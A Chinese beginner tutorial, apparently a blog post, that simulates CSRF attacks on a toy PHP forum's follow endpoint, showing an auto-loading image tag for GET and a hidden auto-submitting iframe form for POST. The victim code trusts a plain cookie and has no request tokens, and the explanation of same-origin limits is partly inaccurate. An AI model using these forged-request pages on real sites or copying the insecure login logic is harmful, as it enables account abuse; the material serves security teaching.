模拟一次CSRF(跨站请求伪造)例子,适合新手
GET请求伪造
有一个论坛网站,网站有一个可以关注用户的接口,但是必须登录的用户才可以关注其他用户。
这个网站的网站是www.a.com
有一天有一个程序员想提高自己的知名度,决定利用CSRF让大家关注自己
》》该论坛的目录结构和源码资源
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>主页</title>
</head>
<body>
<form action="start.php" method="GET">
<input type="text" name="startname" /><br>
<input type="submit" value="关注他" /><br>
</form>
</body>
</html>
login.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登陆界面</title>
</head>
<body>
<form action="login.php" method="GET">
<input type="text" name="username" id="name"/><br>
<input type="password" name="password" /><br>
<input type="submit" value="登陆"/><br>
</form>
</body>
</html>
login.php
<?php
session_start();
if(isset($_GET['username']) && isset($_GET['password'])){
$name=$_GET['username'];
$password=$_GET['password'];
if($name=="zhangshan" && $password=="wwwww"){
echo "登陆成功,正在跳转。。。。";
setcookie('loginstate',"$name");
$_SESSION["$name"]=$name;
echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}else{
echo "登陆失败,重新登陆......";
echo '<meta http-equiv="refresh" content="3;url=login.html" />';
}
}else{
echo "输入有误。。。。。密码不正确";
echo '<meta http-equiv="refresh" content="1;url=login.html" />';
}
?>
关注的接口,关注之后会打日志到log.txt
<?php
session_start();
if(isset($_GET['startname'])){
if(isset($_COOKIE['loginstate'])){
$name=$_SESSION[$_COOKIE['loginstate']];
$startname=$_GET['startname'];
echo "当前登陆用户为$name";
echo "<br>";
echo "尊敬的$name,你已经成功关注了$startname";
$myfile = fopen("log.txt", "w") or die("Unable to open file!");
$txt = "尊敬的$name,你已经成功关注了$startname"."\n";
fwrite($myfile, $txt);
fclose($myfile);
}else{
echo "你还没有登陆,跳转中。。。。。";
echo '<meta http-equiv="refresh" content="3;url=login.html" />';
}
}else{
echo "请输入你要关注的用户";
echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}
?>
》》攻击者的网站
攻击者的网站的一个页面是这样的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
如果,客户端不久前登陆过www.a.com,
打开此页,自动关注,woshihaore
<img src="http://www.a.com/start.php?startname=woshihaoren" />
</body>
</html>
这样的话,只要用户在登陆过a网站之后,在浏览器中打开b网站的这个网页,就会自动执行该接口,关注自己,提高关注量的目的达到
》》攻击者可以将链接放在任何可以被浏览器解析并发送请求的地方
如果该接口使用的POST传值的话也是可以的,需要在攻击者的网页上构造一个form表单,但是form表单提交是非跨域的请求,所以请求并不会提交,
但是使用iframe可以解决这个问题,iframe可以解决跨域的问题。
————————————————————————————————————————————————————————————————————————————
有些时候,网站可能采用POST来提交参数,但是form表单受制于同源策略的影响,这种情况下的跨域提交数据。
跨域POST请求伪造之邪恶的iframe
有 一个网站a,存在一个接口,这个接口允许已经登陆的用户,关注别的用户,这个接口需要一个被关注的用户的用户名参数,该接口使用POST传参数
网站a的源码结构
index.html页面使用用户登陆后的页面,这个页面的的form表单提交一个被关注人的用户名
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>主页</title>
</head>
<body>
<form action="start.php" method="POST">
<input type="text" name="startname" /><br>
<input type="submit" value="关注他" /><br>
</form>
</body>
</html>
log.txt为日志输出,用户关注的信息会输出到这个日志文件
login.html---为登陆的前端页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>登陆界面</title>
</head>
<body>
<form action="login.php" method="GET">
<input type="text" name="username" id="name"/><br>
<input type="password" name="password" /><br>
<input type="submit" value="登陆"/><br>
</form>
</body>
</html>
login.php---为登陆的后台页面,简单的生成session会话
<?php
session_start();
if(isset($_GET['username']) && isset($_GET['password'])){
$name=$_GET['username'];
$password=$_GET['password'];
if($name=="zhangshan" && $password=="wwwww"){
echo "登陆成功,正在跳转。。。。";
setcookie('loginstate',"$name");
$_SESSION["$name"]=$name;
echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}else{
echo "登陆失败,重新登陆......";
echo '<meta http-equiv="refresh" content="3;url=login.html" />';
}
}else{
echo "输入有误。。。。。密码不正确";
echo '<meta http-equiv="refresh" content="1;url=login.html" />';
}
?>
start.php---为关注用户的后台接口,接收POST传值
<?php
session_start();
if(isset($_POST['startname'])){
if(isset($_COOKIE['loginstate'])){
$name=$_SESSION[$_COOKIE['loginstate']];
$startname=$_POST['startname'];
echo "当前登陆用户为$name";
echo "<br>";
echo "尊敬的$name,你已经成功关注了$startname";
$myfile = fopen("log.txt", "w") or die("Unable to open file!");
$txt = "尊敬的$name,你已经成功关注了$startname"."\n";
fwrite($myfile, $txt);
fclose($myfile);
}else{
echo "你还没有登陆,跳转中。。。。。";
echo '<meta http-equiv="refresh" content="3;url=login.html" />';
}
}else{
echo "请输入你要关注的用户";
echo '<meta http-equiv="refresh" content="0;url=index.html" />';
}
?>
网站b作为攻击者的网站,网站b的目录结构
index.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>测试跨站请求伪造POST</title>
<script type="text/javascript">
function csrf(){
window.frames['steal'].document.forms[0].submit();
}
</script>
</head> <body onload="csrf()">
<iframe display="none" name="steal" src="./csrf.html"> </iframe>
</body>
</html>
csrf.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<form action="http://www.a.com/start.php" method="POST" display="none">
<input type="text" name="startname" value="woshihaoren"/><br>
<input type="submit" value="关注他" /><br>
</form>
</body>
</html>
这种通过在iframe中嵌套form从而达到使form跨域操作。
这样的话,登陆了a网站的人,再访问b网站的主页就会自动关注表单提交的用户名。
最新文章
- 在CentOS7上安装JDK1.8
- LCTT 三岁啦
- redis 安装(centos 6.4)
- Qt之自定义QLineEdit右键菜单
- features recreate的含义
- Segment fault及LINUX core dump详解 (zz)
- unix 网路编程(卷一)第一个程序编译过程
- CSS布局注意(纯属个人总结)
- Oracle EBS-SQL (MRP-5):重起MRP Manager.sql
- SQL SERVER分区视图
- CentOS下yum使用代理的设置
- kali linux 更新软件源,安装中文输入法,修复Linux与windows引导菜单解决windows引导丢失
- docker 初识之二(简单发布ASP.NET Core 网站)
- 【PL/SQL Developer】动态执行表不可访问,本会话的自动统计被禁止
- Animation-list,帧动画+属性动画,做出Flash般的效果
- 网上找的hadoop面试题目及答案
- 你可能不知道的jvm的类加载机制
- java中的异常(二)
- POJ 2001 Shortest Prefixes(字典树活用)
- javascript 面向过程和面向对象